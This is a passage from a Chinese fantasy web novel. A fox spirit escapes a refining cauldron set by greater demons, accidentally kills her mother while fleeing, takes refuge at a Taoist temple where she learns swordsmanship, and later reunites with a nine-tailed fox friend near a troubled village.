三人结伴,路上就没有那么无趣,回去的时间都过得格外快。一直走到平安城,三人才顿觉疲劳,停下歇息。这一次,白河发现城里的小妖少了一半,剩下的妖都是一些看起来行动不便的低修为小妖。他们三个又住进了来时的客栈里,老板娘看见白河白水惊讶的很,赶忙招呼他们进了房,还小心的掩了门,老板娘担忧地说:“城里的精壮妖都被抓去了混沌界,就剩了老弱病残。你们怎么又往回跑了?还带了一个这么漂亮的姑娘,不怕被抓了去做双修妖妃啊?”
妲菁菁一眼就看出老板娘是个老弱的猫妖,本想着恭敬一些,但被这么说心有不快,直言道:“老板娘,这话说的,这一路是我护着她们俩姑娘,你年纪这么大,只修得容貌年轻好看,怎么不修眼神啊!”
妲菁菁一出口就是男子音,让老板娘顿了一下,被他说了年纪大心理也不痛快,就转头跟离她最近的白河抱怨说:“这小哥细皮嫩肉的,脾气还不好,一看就非你良配,你换个吧。”
白河盯着妲菁菁忍着笑点头说:“嗯,他脾气是大,是要换个脾气好的。”
妲菁菁瞪着白河,咬牙切齿说不出话,白水在旁边早就笑得合不拢嘴,身子不矜持地一抖一抖。
路过平安城本就是个小插曲,三只妖都没把混沌界抓妖的事情太放在心上,想是也没人敢抓他们。三只妖一路上游走停留,用了近一个月的时间才回到灵地。从浮屠山一路走来,除了在平安城见到那一城老弱病残,他们三个就没遇到一只大妖,进了混沌界也是,连巡山的小妖也没了,好似天地之间就只有他们三个一样。
16. 中计进炉鼎 慌逃中错杀
妲菁菁是越走越沉默。六十年前,他一路过来,被盘问了数不清次数,更是打了不下十次架,若不是他九尾狐神格,早夭折了,可现在呢?这一路太过安静,现在回想起来,他回浮屠山也是,一路上没遇见几个大妖,只是当时太着急了,他全然没在意,眼下,他越来越不安了。
与妲菁菁不同,白河白水清闲自在得很,有说有笑。白水见妲菁菁魂不守舍,捣捣白河,撇嘴指了指他。白河顺着白水望了一眼妲菁菁,以为他在想山头的事,笑着说:“别老惦记着那个山头,先去跟我父王和母亲打个招呼,然后带你去。”妲菁菁不语,他现在也着急见白魅,他得把所见之事跟白魅细谈一番。
妲菁菁心里有事,步子很快,没一会三人就回到了灵地。家里空空如也,白魅和白芊不在家,正在他们好奇的时候,白河猛然感觉穴府深处有奇怪的气息,是上次她们躲天雷的地方传来的。气息奇怪,但白水妲菁菁又没有任何反应,白河想起族奶奶的话,鬼使神差地跟白水说:“你带菁哥去那个山头看看,我累了不想走了,我等父王回来再去找你们。”
白水奇怪地看了一眼白河:“急什么,一起等等吧。”
妲菁菁也奇怪地看着白河:“我什么时候说我着急看山头了?”
白河看他们没动静,继续说:“我就是感觉父王在那个山头,但是又怕自己感觉错了,所以才这么说。咱们三个待着不也没事做,时间还早,大眼瞪小眼吗?你们去看山头,我留着等父王,不过片刻而已,你们去看了没人,回来就是了,我还能跑了啊?”
白河不会撒谎,语气有点生硬。妲菁菁这会不安的情绪越来越重,他着急问白河:“你确定感觉到白狐王在那?”
白河点头没说话,妲菁菁现在很是着急,就准备出门去寻,白水从刚才白河说话开始,就一直盯着白河看,这会看妲菁菁着急了,才反应过来,她想了一下,一抬手把府中的油烛全部点燃了,才严肃的跟白河说:“姐姐,你别出门,我带着菁哥去,马上去马上回,一定要等着我们回来。”
白河还是沉默的点头答应,白水这才和妲菁菁出了门。他俩前脚出门,后脚白河就飞速往深洞里奔去,身手敏捷,速度极快,一直到洞底才停下。洞底还是一个月前的模样,刚刚那股勾着她一定要进来的气息忽然消失了。白河猛然惊醒,想往回跑,可才走几步就一头结结实实地撞在了一个透明的墙上,“铛”一声,把毫无防备的白河撞的脑袋都空白好久,白河摸索了几下,虽看不见,但能感觉到是一堵凹凸有致的铜墙,应该是什么花纹,看不见东西,又不知道如何施法让它显形,白河只能上下左右飞了几圈摸索了一下,却发现四周都是。
正当白河还在四处摸索时,透明的铜墙似乎在收缩,白河能动的空间越来越小,直至被逼得漂浮在洞穴半空。白河没有很慌张,在想解困办法的时候,周围气温猛升,好像有看不见的妖火在炙烤。白河只觉得这股子妖火力量很强大,浑身都觉得难受,身上的修为如蒸汽一般外泄。
温度越来越高,白河越来越难受,呼出一口气都能灼伤上唇,白河难受坏了,但一次次尝试冲出去又被撞回来,因为看不见那墙的位置,每次都是撞个满怀,不一会儿的工夫就被烫的满身赤红,衣服都开始有焦黑之色了。
被撞的晕头转向,迷迷糊糊之间,白河被呼吸热气扰烦了,也不知道自己是怎么想的,就觉得既然呼吸会烫伤自己,干脆吸气不呼气,一咬牙,白河开始闭着眼定着不动,只进气不出气。热气入腹,又烫又憋,脸上似有汗水一样,白河抬手抹额,抹了几下干巴巴的额头,竟不自觉的降了神格,神格一降,方才难受的感觉全部没了。
降神格后,白河只觉得原本吸进腹部烫得难受的热气,现在格外舒服,身体好像把这股热气吸收了一般,那股掺杂在妖火里的强大力量也被全部吸收。白河索性张大嘴巴猛吸周围的妖火热气,正当白河还沉浸在这股舒服劲里时,妖火戛然而止。
直至再也吸不到一丝带有力量的热气后,白河才睁开眼,周围的温度已恢复如常。白河感觉全身都是力量,摸了摸还存在的铜墙,提拳便砸,墙壁被砸得铛铛作响,白河也顾不上吵,蓄力满拳,经不住白河几下砸,轰了的一声,铜墙似乎被砸了个洞,白河穿过洞,飞出地穴。一头扎出木屋,才停稳脚步,白河发现,上空密密麻麻围满了大妖,大妖们都惊恐地看到白河,白河感觉出了浓烈的恶意,身上神格煞气外显,样子变成了炸了毛的白狐。
大约有二三十只大妖围着她,白河看不清他们的脸,但在一堆妖中,还是看到熟悉的身影,白魅也在。白河死死盯着白魅,两方对峙,空气里安静得可怕。
一只蟒妖打破沉寂,它撇了一眼白魅,又瞪着白河说:“偷鸡不成蚀把米,炼不化她,还给她汲去这么多力量,大家伙合力打散她吧。”
周遭大妖都偷偷撇着白魅,等着他发话,按照它们的计划,只要白魅点头,它们合力必能围杀了白河,白魅盯着白河看了一会,嘴巴一动,没出声,但白河看见那个嘴形了,是“跑!”。也是一瞬间的事情,众妖都飞在空中,还没来得及反应,白河就化一道白光窜进树林,朝河水府跑去,身后的大妖穷追不舍。好在白河始终快它们一步,终于赶到了河水府门口,白水妲菁菁在洞口和白芊说话,看到白河逃过来,身后还跟着穷凶极恶的大妖们,白芊先是一愣,随后向白河冲过去。
白河抬眼已经看见了白芊,但白芊面向她冲来时,手里似乎在凝法,白芊有杀意!白河搞不清情况,抬手就是一掌,这一掌蓄满了力,还是汲取了力量降了神格的全力一拳,白芊惨叫一声,被轰飞,白水和妲菁菁接住白芊,白芊七窍都在流血,身体逐渐开始消散。
“白狐妃!白河你疯了啊!”
“母亲!白河,你干什么!”
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妲菁菁不可思议地看着白河,白水眼泪哗的就出来了,抱着白芊哇哇大哭。
后面追上来的大妖被这个景象镇住了,全都停住了脚步,他们可是亲眼看到白河一掌就把快要上万年的半神妖打散了,他们还怎么敢上前,刚刚还气势汹汹要杀白河的大妖们,此时都战栗地看着白河,没了刚才嚣张的气焰。
白魅看到白芊被打散了,怒不可支,眼睛都被气红了,他瞪着白河说道:“逆子,我饶你一命,你杀母亲?我这还能留你?”说完就上前施法,就要擒住白河,白河还愣着看白芊,一回头挨了白魅一道光法,但没被定住,向后踉跄了几步,她也施法向白魅他们攻击,大妖们惧怕被白河打散,纷纷后退逃逸,白魅站着瞪着白河,没有躲,那几下攻击也有意躲开了他,白河这会双眼煞白,神格威压之力还在,却又略带委屈的对白魅说:“我不是想杀母亲,你们不追着我,我哪里会出手!父王,我害怕呀!”
白魅瞪着白河,手颤抖的指着白河,半天才说不出话来,大妖们躲退后看白河并没有伤白魅,又纷纷露头,小心翼翼想要上前,白河看形势不利,裹着白水河妲菁菁迅速进了洞府。
进洞府还未站稳,白水怀里的白芊已经散得差不多了,白水一掌推开白河,边哭边责骂白河:“你干什么,失心疯了?降神格杀母亲,你中邪了吗?”
白河收了神格,闷闷地说:“是他们要杀我!刚刚母亲手中凝法,她是要杀我的,我才下意识的反击了。”这话一出,白水都被惊得止住了哭啼声,呆呆看着白河,妲菁菁在旁边也是一脸不相信地看着白河。
白河现在既委屈又气愤,见他俩不信自己,委屈的情绪又重了几分,这会儿的白河眼睛里噙满了泪,对着白水吼道:“他们骗我进鼎,要炼化我,我那会就觉得不对劲,我害怕你们也受伤害,才骗你走开,那炉鼎就在家里。炼不化我,他们就要杀我,父王与他们站在一起,母亲冲过来带着杀意,我都来不及反应。我也想问,到底是谁中邪了?”
门外大妖们又重振旗鼓,在慢慢靠近洞府,大有今天不抓住白河怕不会善罢甘休的气势。虎妖在世时身形健硕,喜欢大气的物件,所以把穴府也建得格外大,白水还在震惊,白河还在哽咽,十来只大妖已经进来洞里,堵着门口,隔着挺远看着他们三个。
白水看着堵在门口的大妖们,呆呆地说:“你杀了母亲,现在怎么都说不清了,你怎么跑?”
眼看大妖们就要动手,妲菁菁猛降神格,九尾狐呈镇压神格,气场强大,众妖都被压的纷纷低头。妲菁菁回头,空洞红光眼睛看着白河,一字一顿地说:“我信你,快跑。我坚持不住太久。”
白河抹了抹眼泪,从怀里摸出了一张地形符,运功之时,却见白水突然看着她冲她喊着:“我与菁哥不明事情且信你最后一次,你最好躲远点,别再回来了,杀母之恨不可能忘,再回来我必定杀了你!”
17. 转念至道观 神前神拜神
明光山上风景正好,又是一个晴天,正值傍晚时分,晚霞伴残云,一缕炊烟从道观的厨房袅袅升起,安静又平和。道观里刚刚结束下午的武功练习,弟子们三三两两回寮房休息。张漾从小就跟着张清,两人住一间,这会儿也结束练习,回到屋里收拾自己,收拾好就要去吃饭了。
张清张漾的袇房位置稍偏,里面布局很简单,一眼就望见全部。张漾累得瘫躺在榻上,抱怨着:“师兄,要累死了,明天练武让着我点,不过关的话,师父是真的想要累死我啊。”
张清笑眯眯的一边洗脸一边回答道:“平时练功不努力,关键时刻可怎么办?今天天气甚好,一看就是个好兆头。赶紧起来净手,等吃完了饭,晚上我再陪你练练,保证你今晚就能掌握功法,明天准能过关。”
张漾长叹了一口气,呼天喊地在榻上打滚。好不容易才翻了身跪在榻上,泪眼婆娑的和张清求情:“好师兄,真累了,今天晚上就不练了,明天我再努力吧,我……”话没说完就被惊吓打断了。
张清正好洗完脸,眼睛还没睁开,侧着身子伸手要摸挂在一旁的擦脸巾,手在半途凭空摸到一张人脸。张清吓了一跳,睁开眼就看见白河满身狼藉地站在自己眼前,衣服焦黄略黑,袖子、裙摆、鞋袜都烧得只剩下贴身的一半,头发凌乱炸飞,像是遭了火灾跑出来一样。白河眼泪噙满了眼睛,一滴泪合时宜的滚在脸颊上,委屈地扁着嘴看着张清。
旁边张漾被惊的话说一半就跳下床来,伸手就把桌子上的拂尘引来,佛尘飞到手里胡乱地握着都没拿稳,指着白河抖了半天,才结巴的喝道:“狐妖,你!你!你胆子也太大了,闯明光山道观?想不开吗!”
张清倒是冷静,也是看白河的样子实在可怜,眉头轻轻皱起,手不自觉地顺势抹了一下白河的眼泪,又觉得不妥,赶忙收回了手,也没有退后,只是朝着张漾摆手让他安静下来,就站在那里静静看着白河。
白河看张清没有凶自己,顿感安全,一直紧张的情绪崩塌了,弯着腰蹲在地上,抱着脑袋号啕大哭起来。张漾被突如其来的哭声吓的往前蹦了几步,抓着张清的袖子,不明所以地说:“师兄……我没说什么啊,她怎么哭成这样……”
张清瞪了张漾一眼,抬手就往他头上给了一巴掌,轻声说:“看不出来吗?这是遭了难。”
张漾摸着头,后退几步,收起了拂尘。又往前几步蹲在白河面前,想伸手去摸白河肩膀,又欲言而止在空中,没碰到白河,在空中划拉了几下,只得尴尬的揣着手,小声对白河说道:“我记得你,白河,别哭了,小声点儿,一会让其他师兄听到了,再过来看到你,就麻烦了,天师还在观里呢。你,你这是怎么了?”
看张漾语气不再那么凶,白河听话地收起了哭声,哽咽着抬着头看了张漾一眼,又望向张清,一边抹眼泪一边抽抽搭搭,半天才说完一整句话:“他们……要……杀我……把我……把我骗进了炉鼎……就要……炼化我,都追杀我,我跑不掉了。上次你给的地形符,我就,就来了这里。”说完还伸手给张清看,手心里烧尽的地形符灰尘被眼泪浸染的乱七八糟,脸上也因为刚刚抹眼泪,染上了纸灰,整个人看起来狼狈不堪。
张清眉头更皱了,眼睛里闪过一丝不易察觉的凶光。张漾听完噌地站了起来,忿忿地说:“这帮大妖,越来越过分,祸害人间还不够,又要自相残杀,尽干些歪门邪道的事,还修什么正果?师兄,她是到明光山寻庇佑来了,走,咱们告诉天师去,剿灭这帮违天理的妖道们!”
一直愁眉紧锁的张清听完张漾的话后,冷静了下来。两步越过白河,拿起了擦脸巾,抹了把脸,又弯腰递给白河,说:“外物入观都躲不过天师那里,他应该知道了,但没有立马过来,这是等着你去找他。先把你脸洗净,师弟,去找与她身形相似的师姐师妹借一套干净衣服给她换上。如有问,只说是天师嘱咐的,其余不许再说。”张漾低着头看了看白河,张张嘴想说什么又咽了回去,出门去借衣服了。
等到白河收拾好才出了袇房,张清和张漾就默默地站在门口不远处等着她,白河换了一身深蓝色的道服,也学着道士的样子把有些许燎焦的头发在头顶盘了个鬏,这么一看,与道观的小道士们无二。张清愣楞的看了白河一会,就满意地点点头示意她跟上,三人并行往净室那边走。白河收拾了不少时间,这时的弟子们都去斋堂吃饭了,路上安安静静的,张清嘱咐着白河:“见到天师,不要撒谎,想说什么就说什么。”
白河小心地问道:“天师会不会杀我?”
张漾撇了一眼白河:“斩妖除魔是正道,杀的是作恶多端,你没坏心思怕什么。”
白河低头又问:“你们杀得了大妖?”
张漾不屑地说:“大妖?多大的?只要没成神,斩杀他们责无旁贷,费点功夫罢了。”
白河看了一眼远远亮着灯的净室,默默点头。
净室门大开,门口就能看到供奉的巨大三清天尊像,供香已经燃了一半,一个道骨仙风的老道士正盘坐在垫子上打坐。张清和张漾从左侧门进去行了礼,白河还在呆呆愣神看着庞大的三清相,身子不知不觉地竟从中间的门走了进去,张漾瞪着白河,还没开口,张清拽了一下他袖子,张漾不可思议地看着白河,又小心地撇了一眼天师,还是乖巧的噤了声。
白河进门后,天师就起身转过来看着白河,脸色平静,又带着一丝和蔼和笑意,白河收起了盯着三清座像的眼神,朝着天师就跪了下去。白河还没完全跪下去,天师身子一侧,就侧立在旁边
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,跪天师变成了跪三清,白河不解地看着天师。
天师没有理会,开口道:“你来我明光山,拜天尊,有什么天大的委屈要跟天尊诉啊?”
白河抬头左右看着三清天尊像,没看出什么门道,只能转头看着天师,认真地说:“我想拜师。”
张清张漾原本低着头,听到这句‘拜师’双双抬头,张漾惊讶地看着白河,又无辜地抬头看着天师,呆愣的摇头示意自己不知道。张清则是咧了咧嘴,抬手捂住了眼睛,看不得这么笨的白河。
天师呵呵干笑两声,回答道:“拜师?你来道观拜师?”
白河不理解天师笑什么,只能向他解释说:“对,拜你为师,斩妖除魔!”
天师被气笑了:“你知道你现在是妖吗?妖要除妖,你自己听听,可觉得合理?”
白河梗着脖子,盯着天师一字一顿地说:“我是妖不错,但妖也能除妖,我要除混沌界那些大妖!”
从那句‘我是妖’开始,天师就猛然收起了笑容,面容有怒气,恨铁不成钢地对白河说:“你去给天尊上三炷香,香灭了你立马给我下山,晚一刻,我就替天行道除了你这个不知天高地厚的妖。如果香燃净了,咱们再好好说道说道。”
天师突如其然的生气让白河有些莫名其妙,但白河还是听话的起身拈香,没有用油灯点香,反而是生着闷气,用修为点燃了香,香上的火还没灭,就被白河急躁的插进了香炉里,供香进了香炉的那一刻,香火不灭反而燃的更旺,没等他们阻止白河的不敬,香已经燃完了,香烟飘到天尊象的胸前位置,拢而不散。
白河看着那团烟,才后知后觉,刚刚她莫名的急躁,不耐烦的很,这会儿香燃尽了,反而清醒了过来。她回头呆呆的看着天师,小心地说:“香燃完了,我是不是有点太急了?”
张清张漾呆呆地看着那香炉,天师那三根香还在,还是那么多,白河放上去的香却瞬间烧完了,还神奇的丝毫没有烧着天师的那三根,很怪异,他们没见过。
天师看到这个情况,也奇怪地抬头看着三清相,发了一会儿呆才摆摆手,缓了缓神说:“就算天尊应了吧。”然后又无奈道:“我可做不了你师父,让人知道弟子是个妖,那还了得?”
又是妖和人不合那一套,不用想也知道天师难做,白河有些丧气,抬头看了一眼那个烟团,不知道怎么想的,只是意念一动,那烟团就飘到了白河面前,白河下意识地一吸,烟团就被吸了个干净,白河被呛得咳嗽两声。
这还了得,白河这个动作把旁边的三人看的眼睛瞪得快有鸡蛋大了,张漾气得手哆哆嗦嗦的指着白河,颤颤巍巍地说:“让你给天尊供的香,你大不敬地用修为点就算了,你怎么还自己享用上了?你有没有一点点尊敬?”
18. 拜住明光山 天师赠宝剑
张清看着白河呛着,赶忙上前拍着她背,虽有不满,但还是担心地看向天师,弱弱地喊了一声:“天师,你看她……”
天师也在仔细地瞧着白河,瞧着瞧着笑意就慢慢浮在脸上,他摸着胡子淡定地朝白河说:“吃了人间的香火,可就做不了妖了,是你自己选的。我做不了你师父,但是教你些本事还是不违天理的。”
白河闻言,止住咳嗽,自动略过前面的话,破涕为笑,说:“教本事就行,我学得快。”
天师这会儿满脸满意的神色,笑呵呵吩咐两个弟子:“张清、张漾,不早了,带着她早些去吃饭,一会斋堂就关了。吃完饭,晚些给她安顿好,单独找一处安静的房子给她住,明早带着她来山后找我就行。”
张漾还在震惊中没回过神,张清赶忙应了天师,就拉着他和白河从门右边出了净室。
去往斋堂的路上,张清一言不发,脸色却好很多,看起来轻松不少,还带着欣喜的神色。白河因为天师答应教自己,这会心情也没有刚来时那么丧气了,只有张漾越想越不对,他甩开了张清的手,拦在张清和白河的面前,指着白河对张清说:“她没有伤天害理,你不除她,我理解。她遭了难,天师收留她,我也理解。但她在净室所作所为是不是目无礼法?我几次要规诫她,你拦着我干什么?你看看她,一个妖拜天尊,成何体统?!”
从见到白河之后,整天笑眯眯的张清一直就木着脸,似乎有什么担忧的事,这会儿事情有了下文,天师又留下了白河,才让他的脸色恢复了不少。听到张漾这么说,他又高兴了几分。张清噗嗤一声,笑着对张漾说:“你今天累花了眼了?你仔细看看,她是妖吗?”
张漾有些诧异张清的反应,转头盯着白河看过去,越看越发毛,他惊恐的后退几步。白河对张清的话也好奇,瞅着张漾,问着:“我和之前有什么不同吗?”
张漾不可思议地说道:“你身上没有妖气了,一点也没有了,你怎么就是个,是个人了……?”
张清听到张漾这么说,呵呵笑出声,没好气对张漾说道:“你这嘴改改吧,快言快语,一点不过脑子。可记得师父之前讲的,旁山的一个道士,遇到了一只黄精想渡妖劫讨封,嘴巴不过脑子,开口就是一句''这不是黄鼠狼吗?'',等他反应过来捂嘴巴,来不及了,原本黄精要渡劫成大妖,被他一语成谶,又打回妖精重修。那黄精恨死了他,硬是追着祸害他,耗了好几年……”
张清一说教就没完没了,张漾听着不耐烦了,赶紧打断了他的话:“就把他耗死了,我们也把它除了。你行行好,别说了,我错了,走走走,快去吃饭吧,斋堂一会真的什么也不剩了”说完转身就要走。
白河对自己是人是妖并没有什么特殊的感觉,她觉得自己什么变化都没有,还那个自己,也就没有多想,反而是张清对张漾的说教更吸引她,张清跟着张漾往斋堂走,白河在后面跟着问:“精怪成妖不是顺其自然吗?怎么还要渡劫?什么是讨封?”
张清边走边回答:“万物众生,活着才是本源,只惧生死,不想其他。当它们得了机缘,突然发现除了生死还有其他欲望,就有了意识,成了精怪。精怪理清了意识,有了欲望,又看清了欲望,就会通过渡劫成大妖。妖道窥透了生死,放下了欲望,再好好修炼,才有机会成神。讨封就是这些靠自身修炼成精的小妖讨个吉利,有修为的道士自然是天法神授,虽不能点石成金,但好在是间接得到认可,精怪再渡天劫也有了底气。”
白河不解地问:“兜这么大一圈,把没有的变成有的,再把有的变成没有,就成神了?”
张清哈哈笑着:“听着简单,做到的寥寥无几。你以为的妖界那些小妖们,个个都是经过天雷洗礼,成妖已经是脱俗的精锐。”
白河听进去了,她想起了妖界的平安城,一时间有点恍惚地说:“精锐又如何,在妖界,小妖生死全看大妖的心情,我……我母亲……就跟我说妖界只信''物竞天择'',能成大妖的又有几个?”
白河越说语气越低迷,张清赶忙止住了这个话题:“白河,你跟它们不一样,妖界法则不是处处通用。”白河默然地跟着张清,话题终止了。
耽误了太久,等到三人到斋堂,道观的弟子们已经吃好饭都走了干净,吃食只剩了几个馒头,和一碗微热的青菜。张清张漾也没有抱怨,津津有味地吃着,白河大肉大荤地过了几十年,馒头倒是没在妖界见过。之前在平安城,其实也有小妖叫卖肉包子,可那卖相实在难看,白不白圆不圆,当时也是她赶路,怕吃坏了肚子耽误行程,愣是一口没尝。今日初尝,白河只觉得香甜,青菜一口没吃,馒头倒是吃了三个,这个吃法看呆了张清张漾。张漾看馒头就剩了三个,顾不得手里还没吃完的,赶紧抓了一个,又给张清碗里抓了一个,才把剩下的一个推给她:“我头一次见一个姑娘吃光三个馒头不喝一口水,还不够的。算你有眼光,斋堂的大师傅就这手馒头最拿手,我跟师兄明天还得练功,最少也得吃俩,这个你垫吧垫吧,明天咱们来早点,我给你抢十个八个!”
白河被说得有点不好意思,想要推脱,但张清笑呵呵地看着她,她也没矜持,两三口就吃完了。吃完之后又倒了一碗水喝完,就直看着他俩,张漾以为她还馋自己的馒头,低头猛咬起馒头,再不看她,张清还是慢慢腾腾吃着,边吃边笑着问白河:“这就吃饱了吗?不吃点菜?”
四个馒头,还喝了一碗水,白河有点饱了,不好意思地说:“也奇怪,看着这个馒头个头不大,吃完之后也就那样,可喝完这碗水,就突然饱了,吃不下其他的东西了”
张漾听完噗嗤一笑:“你等着吧,一
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会儿有你受的,肚子准胀的难受。”
等到张清最后吃完一口,张漾和白河已经已经吃完一会儿了,张清仔细收拾了吃饭的桌子,三人这才出了斋堂。张清和张漾把白河送到离自己袇房不远处一个空了很久的小袇房后,才算把白河安顿好,安顿好她,俩人也就回了自己住处休息。
半夜时分,白河果然撑得睡不着,出了袇房几下就飞跃上了屋顶。天晴月明,道观里全都灭了灯,空中也没有一丝云,一抬头,满眼都是星星。坐在屋檐上的白河完全隐在黑暗里,天空像黑盘装着一块白玉,满盘白点,只有在不起眼的角落里,隐隐约约泛着一片微弱的红光,白河盯着那里看了许久。越看那里,她越想白水,也不知道白水河妲菁菁怎么样了。白河怀里还藏着几张地形符,她伸手摩挲几下,又低下头思索了一会,才放弃一般伸出手耷拉在膝盖上,抬头看着天空发着呆。
如果不是张清和张漾来喊她,她都忘了自己是怎么睡着的,迷迷糊糊的在屋檐上睡了一夜。好在现在天只是微微亮,也是张清张漾起得早,这会儿没人看见她在屋顶上坐着。白河伸了伸腿,几下便从袇房侧面窜进屋里,胡乱的洗了几下脸,就赶紧出门和张清张漾打招呼。
这会天还没全亮,张清也没完全看清白河的脸色,只是笑眯眯地问:“昨晚睡得可好?”
白河不好意思揉了揉眼睛,说:“半夜撑得睡不着,在屋顶看了会星星。”
张漾的双手揣在袖子里,还没醒透,无精打采地说:“今天可不要勉强了,吃那么多馒头,馒头要吃七分饱,再喝一碗水,刚好差不多。”
白河点头嗯着,跟着他俩往后山去找天师了。走到后山,天刚好全亮,天师等他们很久了,正在盘膝而坐在一截干净的大枯木上,手里仔细擦拭着一把长剑,见三人走近,天师单手举剑向白河一掷,白河稳稳接住了。长剑已经被天师擦得锃亮,剑身有符文,符文像是陶土烧制上去,桃木剑柄镶金,挂着一个缠了阴阳珠子的剑穗,阴阳珠里纠缠着两道真气,似水与火,但不相融。
张清默默看着白河的剑,看清剑后,安静朝天师行礼,张漾也看到这把剑,没有像昨天那般咋咋唬唬,只是皱了皱眉,也跟着低头行礼不说话。
白河握着剑,看看剑又看看天师,疑惑地问道:“天师,早。这把剑给我的?”
天师点头起身:“嗯,斩妖是要有个趁手的法器,你身手不错,适合执剑。”白河只觉得莫名其妙,但这把剑确实顺手,比划了几下,又觉得格外顺心意,没再多想,欣喜谢过。
白河的学习天赋果然好,学什么都很快,短短两个月,天师教的剑法她已经全数掌握,张清和张漾更是联手也打不赢她。白河沉迷剑法,天师本想再教些道门的法术,见她兴致不高,也没有再勉强,只道是够用就行。
19. 引鸡飞狗跳 候好友重聚
天师对白河很满意,笑得合不拢嘴,总是言说着人间万年也找不到白河这样的天赋奇才,就是有一点令他头疼,白河对天师天花乱坠的夸奖毫不在意,除了研究剑法战力,对其他内容是充耳不闻,天师不死心,几次想着跟她探讨道家心法或是其他时,白河都因觉得对提高自己战斗力没有帮助,而推三阻四,天师对此不满了很久,教完一套剑法后,也不再多教,只叮嘱白河每日勤练这一套剑法,再未做其他安排。也因为白河不积极,天师渐渐也不来后山了,留着三人每日在这里搭伙练功,白河倒也清静。
日子平淡过着,只是眨眼的功夫,白河在明光山已经待了快一年了。这一年里,白河很少下山,每天三点一线,不是在练功就是在休息、吃饭,早出晚归的作息,让她和道观的弟子们都不熟,碰面的机会也不多,除了张清、张漾、天师,看似熙熙攘攘的道观,她竟再没有和第四个人说过话。张清和张漾偶尔会陪着她下山,去城中赶赶集,凑凑热闹,次数也不多,白河既没有表现出向往,也没有表现出讨厌,就是平平淡淡的去,平平淡淡的回,无欲无求。张漾直呼白河是个怪人,他实在是搞不懂白河怎么就能如此心如止水的,尤其天师赠给白河那把剑,他尊敬不得了,每当白河拿着剑毫无波澜地砍来砍去的时候,他就心疼地龇牙咧嘴,白河被他的怪样子扰烦了,把剑给他让他试试时,他又恭敬地推脱了,烦得白河跟他吵过几次,每次都是张清劝住了二人,一来二去,两人关系反而好了很多,白河本就跟他年纪相仿,相处得也越来越融洽。
这一日,张清没和她一起来后山练剑,只有张漾陪着白河,记忆里,张清从来没有落下过练功,白河不免好奇地问起张漾:“张清今日怎么不来?”
张漾心不在焉地回答说:“山下不远的村子里,这几日闹妖,鸡飞狗跳的,村民来道观请了好几回,天师派去了两波人都没能解决,听闻还是个大妖,远在百公里外的清净寺都派来了僧人。那妖修为很高,能降神格,都拿它没办法。天师这才想着遣师兄下山看看能不能劝离那大妖。”
白河听到这里,眼睛忽然就亮了,降神格的妖她认识一个,妲菁菁。白河这一年再没回去过妖界,也就对妲菁菁和白水的消息无从知晓,现在突然听到他们的消息,有些兴奋。张漾看到了白河神色变化,又直勾勾地看着白河,接着说道:“说也奇怪,那大妖也不害人,就是在那颠倒捣乱,半夜引鸡鸣,白天逗狗叫,就当真搅得鸡飞狗跳。驱又驱不走,杀又杀不得,村民们快要被烦死了,天师这才让师兄去问个究竟。不知道为什么,天师怎么就是不让我们去呢?”
白河眼轱辘转向张漾,压抑了兴奋之色,说:“想不想一起去看看?”
张漾还是直勾勾地盯着白河,神色已经有了微妙变化,说道:“天师和师父专门嘱咐了我要看好你,不让你乱来。免得你再遭了难。”
白河也盯着张漾,学着张清笑眯眯的样子,胸有成竹地说:“那如果,这个妖我可能认识,他又打不过我,不如带你去练练身手,怎么样?我在旁边帮你。接触大妖的机会可不多咯。”
张漾舔舔嘴,脸上装了半天的严肃也开始瓦解,说:“师父会打死我的。”
白河笑嘻嘻的把剑往身后背好,拉着张漾,边往山下走边说:“等会我偏要下山,你一会可不许追着拦我啊。”
张漾一边走一边也急急忙忙的背好剑,顺手还把拂尘也背好,手忙脚乱地跟着白河走,边走边敷衍白河,说:“往这边,这边,走小路,走那边就得过道观,师父和师兄师姐都在做早课。你不能这么任性呐!我跟你说,我拦不住你,我路过道观可是会喊师傅拦你的。”
二人跟演双簧一样,就这么一言一语的绕过了道观,两个人叽里咕噜的飞似下山,道观里天师刚好出门去,清室里充满弥漫的早课声,真就谁也没注意到下山的俩人。
下山不久,二人就赶到了村子附近,离老远就听见村里狗吠不止,听得人聒噪的不行,村口还围着十几个村民骂骂咧咧,看见白河和张漾,村民赶紧迎上来诉苦:“道长可算来了,听听这狗叫声,一天比一天大声,再不赶走,农活也没心思干了。我们找了好几天了,也不知道这个妖藏在哪儿,道长这次可一定要赶走它啊。”
村民们七嘴八舌的抱怨着,夹杂着狗叫,白河张漾被吵得晕头转向的,张漾只能赶紧安抚好村民,跟白河说:“师兄怕是还在没到,我们先去找吧,太吵了,先止住狗叫,不然脑袋炸了。”
白河也吵得不行,但也比张漾冷静一些,说:“民村也说找不到,估计藏的隐蔽,村子好在不大,咱们分头找,找到你就捏符喊我。”张漾点头捂着耳朵,纠结着向村子里走去,白河则是想了想,绕着村子外面找。
白河绕着村子走了半圈,就在村子不远的地方,看到了一片树林,那片树林离村子有些距离,看着关联并不大,但白河盯着看了一会,就蹭蹭几步飞向了林子里。在林子里拐七拐八了一会儿,在很深一处地方赫然藏着一个竹棚子,棚子下,一个小和尚在闭目打坐,看起来不过是个八九岁的小孩,另一个浅红锦衣的青年也是闭目盘坐着,正是妲菁菁。
只是一年未见,妲菁菁的相貌有了很大变化,眉眼似乎展开了,脸型消瘦了一些,却成熟不少;原来的孩童总角现在用一个精致的玉冠束成了高马尾,一身云纹米白色里衣,透明红纱外衣;搭在双膝上的双手上还能看见那四个熟悉的镯子,纵使坐在那里一言不发,也能看出是个
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风姿绰约的翩翩美少年。自己一身青衣道士的模样,和妲菁菁同处一个界面,成了鲜明的对比,曾几何时,也是这样,白河有点恍惚。站在竹棚前,踌躇了一会,只得试探地喊了声:“菁哥,原来你藏在村子外面啊,让人好找你。”
听到白河的声音,棚里的俩人都赫然睁开眼,小和尚惊讶地看着白河,妲菁菁则起身几步冲到白河身前,他仔细看了看白河,一言未语,抱住了白河。这次,妲菁菁比白河高了一个头,抱了个满怀,第一次被妲菁菁这么紧紧抱着,白河感到前所未有的安全感,心里瞬间缓和,虽然觉得这么抱着怪异,但还是没舍得推开,只是抚了抚妲菁菁的背。
旁边的小和尚看他俩没说话就抱在那里,嫌弃的撇过头,阴阳怪气地说道:“施主等来了人,能把法术止了吧,离得老远,这狗叫声都刺耳,听着狗叫声也不好说话是不是。”
白河也觉得在理,轻轻推开妲菁菁,说:“吵死了,菁哥,我一个脑袋两个大。”妲菁菁点点头,一挥手,绕在耳边的狗吠声戛然而止。
